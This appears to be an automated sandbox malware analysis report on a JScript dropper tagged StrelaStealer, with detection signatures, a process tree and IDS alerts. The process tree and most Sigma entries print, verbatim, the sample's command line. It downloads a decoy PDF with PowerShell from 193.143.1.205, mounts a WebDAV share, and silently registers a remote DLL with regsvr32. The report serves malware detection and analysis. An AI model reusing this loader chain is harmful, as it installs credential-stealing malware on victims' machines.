Edit tour

Windows Analysis Report
279482651296229246.js

Overview

General Information

Sample name:	279482651296229246.js
Analysis ID:	1588586
MD5:	5cae5447efe4fb5b7891cb8494856cd2
SHA1:	63e87a78ac4506c41f8345c39309311312d3694a
SHA256:	b189bb9d98f2c7e4464e83527c4e0ac6cf1fb7d603f3ded712f84001d9d6dd01
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7060 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1880 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5960 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5688 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1584,i,17276702314732939705,17623146584456204359,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4796 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6332 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1088 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7060	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5960, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5960, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ProcessId: 7060, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6332, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ProcessId: 1880, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ProcessId: 7060, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1880, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5960, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4796, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6332, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1088, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4796, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6332, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\279482651296229246.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7060, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2983165166829.dll, ProcessId: 1880, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:46:51.534092+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:46:54.338105+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:46:51.534092+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 279482651296229246.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 279482651296229246.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:46:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

